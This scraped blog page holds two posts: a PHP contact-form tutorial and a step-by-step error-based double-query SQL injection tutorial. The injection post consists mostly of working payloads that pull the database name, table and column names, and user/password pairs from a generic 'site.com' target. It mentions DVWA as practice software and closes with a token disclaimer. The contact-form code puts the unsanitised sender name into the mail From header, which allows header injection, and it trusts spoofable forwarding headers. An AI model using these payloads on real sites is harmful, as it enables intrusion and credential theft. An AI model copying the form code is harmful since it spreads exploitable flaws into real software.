Fadu Hack: PHP

How to Create a Working Bootstrap Contact Form with PHP 100% Working

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="tr_bq" dir="ltr" style="text-align: left;" trbidi="on">
Contact forms are one of the most common elements found on a web page, and they can be used to gather just about any type of information required from your users.<br />
<br />
Fortunately, designing contact forms with Bootstrap is a breeze with all of the built-in classes available. But since Bootstrap is only a front-end framework, we need to introduce added functionality in order for to make the contact form functional.<br />
<br />
In this step by step tutorial, we’re going to be creating a working Bootstrap contact form with PHP, a popular server-side language. Our contact form will also have built-in spam prevention and form validation.<br />
<br /></div>
<div>
Using Bootstrap code, you should have something that looks like this.<br />
<br />
<div style="text-align: center;">
<img alt="Bootstrap contact form" height="387" src="http://bootstrapbay.com/blog/wp-content/uploads/2014/11/bootstrap-contact-form3.png" width="640" /></div>
<h2 style="text-align: left;">
PHP Code</h2>
</div>
<div>
<blockquote>
</blockquote>
</div>
<blockquote>
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Your Email<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$recipient = "info@faduhack.com"; // PLEASE SET YOUR EMAIL ADDRESS<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span><span class="Apple-tab-span" style="white-space: pre;"> </span>// Check $recipient<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if($recipient === '') {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'RECIPIENT_IS_NOT_SET',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_message'=> 'RECIPIENT email address is not set. Please configure the script.')<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Check for empty required field<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(!isset($_POST["email"]) || !isset($_POST["fname"]) || !isset($_POST["message"])) {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'MISSING_REQUIRED_FIELDS',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_message'=> 'MISSING_REQUIRED_FIELDS should not be occurred.')<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Sanitize input<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$fname<span class="Apple-tab-span" style="white-space: pre;"> </span>= filter_var($_POST["fname"], FILTER_SANITIZE_STRING);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$lname<span class="Apple-tab-span" style="white-space: pre;"> </span>= filter_var($_POST["lname"], FILTER_SANITIZE_EMAIL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$website = $_POST["website"];<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if (!preg_match("~^(?:f|ht)tps?://~i", $website)) $website = "http://" . $website;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$website = filter_var($website, FILTER_VALIDATE_URL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email = filter_var(trim($_POST["email"]), FILTER_SANITIZE_EMAIL);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$message = filter_var($_POST["message"], FILTER_SANITIZE_STRING, FILTER_FLAG_NO_ENCODE_QUOTES);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// If non required fields are empty<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( empty($lname) ){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$lname = "No last name entered.";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if ( empty($website) ){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$website = "No website entered.";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Headers<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers = 'From: '.$fname.' <'.$email.'>' . "\r\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers .= 'Reply-To: '.$email.'' . "\r\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$headers .= 'X-Mailer: PHP/' . phpversion();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Subject<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$subject = "New email from contact form";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>// Build Message<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content = "First Name: $fname\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Last Name: $lname\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Website: $website\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Email: $email\n\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "Message:\n$message\n\n\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "CLIENT IP:\n".get_client_ip()."\n";<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$email_content .= "HOST IP:\n".$_SERVER['SERVER_ADDR']."\n";<br />
// Check if sent<br />
try {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$sendmailResult = mail($recipient, $subject, $email_content, $headers);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if( $sendmailResult === TRUE ) {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>TRUE<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>} else {<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>FALSE,<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>'ERROR_AT_PHPMAIL',<br />
<span class="Apple-tab-span" style="white-space: pre;">    </span>array('error_information'=> error_get_last() )<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
} catch (Exception $_e) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>returnAndExitAjaxResponse(<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>constructAjaxResponseArray(<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>TRUE,<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>'ERROR_AT_PHPMAIL',<br />
<span class="Apple-tab-span" style="white-space: pre;">   </span>array('error_message'=> $_e->getMessage())<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>)<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>);<br />
}<br />
/*<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Construct ajax response array<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Input: Result (bool), Message (optional), Data to be sent back in array<br />
*/<br />
function constructAjaxResponseArray ($_response, $_message = '', $_json = null) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_responseArray = array();<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_response = ( $_response === TRUE ) ? TRUE : FALSE;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>$_responseArray['response'] = $_response;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(isset($_message)) $_responseArray['message'] = $_message;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(isset($_json)) $_responseArray['json'] = $_json;<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>return $_responseArray;<br />
}<br />
/*<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Returns in the Gframe ajax format.<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Input: data array processed by constructAjaxResponseArray ()<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>Outputs as a html stream then exits.<br />
*/<br />
function returnAndExitAjaxResponse ($_ajaxResponse) {<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>if(!$_ajaxResponse){<br />
<span class="Apple-tab-span" style="white-space: pre;">  </span>$_ajaxResponse = array('response'=>false,'message'=>'Unknown error occurred.');<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>}<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>header("Content-Type: application/json; charset=utf-8");<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>echo json_encode($_ajaxResponse);<br />
<span class="Apple-tab-span" style="white-space: pre;"> </span>die();<br />
}<br />
// Function to get the client IP address<br />
function get_client_ip() {<br />
    $ipaddress = '';<br />
    if (isset($_SERVER['HTTP_CLIENT_IP'])) {<br />
        $ipaddress = $_SERVER['HTTP_CLIENT_IP'];<br />
    } else if(isset($_SERVER['HTTP_X_FORWARDED_FOR'])) {<br />
        $ipaddress = $_SERVER['HTTP_X_FORWARDED_FOR'];<br />
    } else if(isset($_SERVER['HTTP_X_FORWARDED'])) {<br />
        $ipaddress = $_SERVER['HTTP_X_FORWARDED'];<br />
    } else if(isset($_SERVER['HTTP_FORWARDED_FOR'])) {<br />
        $ipaddress = $_SERVER['HTTP_FORWARDED_FOR'];<br />
    } else if(isset($_SERVER['HTTP_FORWARDED'])) {<br />
        $ipaddress = $_SERVER['HTTP_FORWARDED'];<br />
    } else if(isset($_SERVER['REMOTE_ADDR'])) {<br />
        $ipaddress = $_SERVER['REMOTE_ADDR'];<br />
    } else {<br />
        $ipaddress = 'UNKNOWN';<br />
    }<br />
    return $ipaddress;<br />
}</blockquote>
</div>

How to Create a Working Bootstrap Contact Form with PHP 100% Working

Contact forms are one of the most common elements found on a web page, and they can be used to gather just about any type of information r...

Error based injection With Double Query (Medium Level)

<div dir="ltr" style="text-align: left;" trbidi="on">
<div class="MsoNormal">
Today we can do <b>Error Based Injection</b> for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor.</div>
<div class="MsoNormal">
</div>
<ol style="text-align: left;">
<li>concat - joisn 2 or more strings/columns</li>
<li>group by - groups the data/rows according to the values ina specific columns to do futher calcuations on the grouped data</li>
<li>floor(x.y) - returns least interger value</li>
<li>rand( [x] ) - generates random number btw 0-1, if x is given the output will be same for all x</li>
<li>as - used to give temporary name to a columns in the output of a select command</li>
<li>count(column/*) - counts the number of NON-NULL rows in a column</li>
</ol>
<h3 style="text-align: left;">
Software Used :-</h3>
<blockquote class="tr_bq" style="text-align: left;">
DVWA (Vulnerable Web application) - (<a href="http://www.dvwa.co.uk/">Click Here</a>)<br />
FireFox - (<a href="http://partners.hostgator.com/c/147763/178153/3094">Click Here</a>)<br />
Hacker Bar - (<a href="https://addons.mozilla.org/en/firefox/addon/hackbar/">Click Here</a>) </blockquote>
<div class="MsoNormal">
<h3 style="text-align: left;">
ASCII Code :-</h3>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="436" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhmFpxnXOgEqM8Wpx4FKMZqsDw6rFfbDv1GjQ_ijZBGlWGtxL_LB17CM0ASAYpXi0lkaNEVaENvCW-XckNx65-qWypiKO4z_orr0pqQbmjsCoK5IqC7x8-Vyilp9yhO2U6TN3fuBwPXilz9/s640/asciifull.gif" width="640" /></div>
<div>
<br /></div>
We can Do <b>MySQL - > double/stacked/sub query</b></div>
<div class="MsoNormal">
<b><br /></b></div>
<div class="MsoNormal" style="text-align: center;">
<span style="color: red;"><b>NOTE</b></span></div>
<div class="MsoNormal" style="text-align: center;">
<b>*** Base Query FOR double query injection***</b></div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select count(*),concat(floor(rand(0)*2), 0x3a3a, (<any SQL query here>)) a from information_schema.tables group by a)b)</blockquote>
<h4 style="text-align: left;">
<b>Steps :-></b></h4>
<div>
<div class="MsoNormal">
Step 1: find dynamic page</div>
<blockquote class="tr_bq">
site.com/page.php?news=89</blockquote>
<div class="MsoNormal">
Step 2: apply ' to check if wesite gives MySQL error</div>
<blockquote class="tr_bq">
site.com/page.php?news=89' </blockquote>
<div class="MsoNormal">
You must see an error like:</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
You have an error in you SQL syntax, check the manual that corresponds... MySQL ......</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 3: find the injection type</div>
<blockquote class="tr_bq">
ssite.com/page.php?news=89'--+</blockquote>
<div class="MsoNormal">
</div>
<ul style="text-align: left;">
<li>if page opens normally then injection type is string</li>
<li>if not try removing '</li>
<li>site.com/page.php?news=89--+</li>
<li>if works now then injection type is integer</li>
<li>if still dose not then try ", "), ') etc</li>
<li>if none works, try another link</li>
</ul>
Step 4: get the name of the database</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (database())) a from information_schema.tables
group by a)b)</blockquote>
<div class="MsoNormal">
<v:shapetype coordsize="21600,21600" filled="f" id="_x0000_t75" o:preferrelative="t" o:spt="75" path="m@4@5l@4@11@9@11@9@5xe" stroked="f">
 <v:stroke joinstyle="miter">
 <v:formulas>
  <v:f eqn="if lineDrawn pixelLineWidth 0">
  <v:f eqn="sum @0 1 0">
  <v:f eqn="sum 0 0 @1">
  <v:f eqn="prod @2 1 2">
  <v:f eqn="prod @3 21600 pixelWidth">
  <v:f eqn="prod @3 21600 pixelHeight">
  <v:f eqn="sum @0 0 1">
  <v:f eqn="prod @6 1 2">
  <v:f eqn="prod @7 21600 pixelWidth">
  <v:f eqn="sum @8 21600 0">
  <v:f eqn="prod @7 21600 pixelHeight">
  <v:f eqn="sum @10 21600 0">
 </v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:f></v:formulas>
 <v:path gradientshapeok="t" o:connecttype="rect" o:extrusionok="f">
 <o:lock aspectratio="t" v:ext="edit">
</o:lock></v:path></v:stroke></v:shapetype><v:shape id="_x0000_i1025" style="height: 118.5pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled1" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image001.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="153" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgeuhieZWhM3tr1fixsHpawntxoWs8D4ut8kohNy5hbrmjeOreCEK6BVdHDr6qSRzugkn9xwq9WWd0RQMyRtuURYhhdP6KCy9j4RUoU3pHSPO1jxXU1n8wrhrlCD30PPgYFMAZgPswMfigS/s640/Screenshot+%25284%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
Now you will get an error like :-</div>
<blockquote class="tr_bq">
Duplicate entry '1::<span style="color: red;">dvwa</span>' for key 'group_key'</blockquote>
<div class="MsoNormal">
in place of <span style="color: red;">dvwa</span> you will see the name of your database</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
Step 5: get the names of the tables (assuming database name is dvwa)</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select table_name from
information_schema.tables where table_schema=database() limit 0,1)) a from
information_schema.tables group by a)b)</blockquote>
<div class="MsoNormal">
<o:p></o:p></div>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhP47XC2LRotUF9N3I6aqsnlUY-YIz13tUA04TqIJDYkpkoSctJsigbv_4NCWeO1gopVum7uRhgKCmpKQXoqZumoqNlOmaf2YDqhH_KlSIprbaFYCvpoakJIegqiyhsZGhFicfmAVNDdTv_/s640/Screenshot+%25285%2529.png" width="640" /></div>
</div>
<div class="MsoNormal">
this will give 1st table, for next table limit 1,1 and similarly for nth -> limit n-1,1</div>
<div class="MsoNormal">
<br /></div>
<div class="MsoNormal">
<v:shape id="_x0000_i1027" style="height: 117pt; width: 468pt;" type="#_x0000_t75">
 <v:imagedata o:title="Untitled3" src="file:///C:\Users\JAIKUM~1\AppData\Local\Temp\msohtmlclip1\01\clip_image003.png">
</v:imagedata></v:shape><o:p></o:p></div>
<div class="MsoNormal">
Step 6: get the columns names from the juicy table (assuming table=users) *i use ASCII value or users</div>
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select column_name from
information_schema.columns where table_schema=database() and table_name =
char(117,115,101,114,115) limit 0,1)) a from information_schema.tables group by
a)b)</blockquote>
<div class="MsoNormal">
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEipBTwX6RCQNJfjy27IGEAJ140iOPPCsXQZp53_Nkmx7gYE7CbsyN_mEDKvByaRv4JoaTFOYpnGPwGdQU1pKnaa5k_oMB3613tZ1O8vOyM1B3XmknxrH0po7i0nTno1hImWPBPwb1GsGfPe/s640/Screenshot+%25286%2529.png" width="640" /></div>
for next columns limit 1,1 and similarly for nth -> limit n-1,1<br />
<br /></div>
<div class="MsoNormal">
Step 7: get the data from the juicy columns (assuming columns=user,password)</div>
<div class="MsoNormal">
<blockquote class="tr_bq">
site.com/page.php?id=1 and (select 1 from (select
count(*),concat(floor(rand(0)*2), 0x3a3a, (select concat(user,0x2d2d,password)
from dvwa.users limit 3,1) ) a from information_schema.tables group by a)b)</blockquote>
<div class="separator" style="clear: both; text-align: center;">
<img border="0" height="152" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjE5qiR81L5A4HfOs646h8dmgy4fkok7iAsvDybARYNBX-E64WuWtgkVBdfR09JJy-TlLo2XeWJtZLXrtPKI7GDv6wlRdobia4nKyoGFAHexKPlUhIRVcUw2WFqz1PC3WjXBbMZ6h7fS4Fk/s640/Screenshot+%25288%2529.png" width="640" /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
If you like this post then please like our FACEBOOK page and Subscribe our YouTube Channel</div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
<span style="color: red;">NOTE:- Please Do note use this information for bad work. </span>:)</div>
<div class="separator" style="clear: both; text-align: left;">
Thanks :) :)</div>
</div>
</div>

Error based injection With Double Query (Medium Level)

Today we can do Error Based Injection for that we can understand some SQL commands like Concat, Rand, As, Group By, Count, Floor. co...

Fadu Hack

Top Ad unit 728 Ã— 90

How to Create a Working Bootstrap Contact Form with PHP 100% Working

Error based injection With Double Query (Medium Level)

Buy a cup of coffee

Popular Posts

Labels

Blog Archive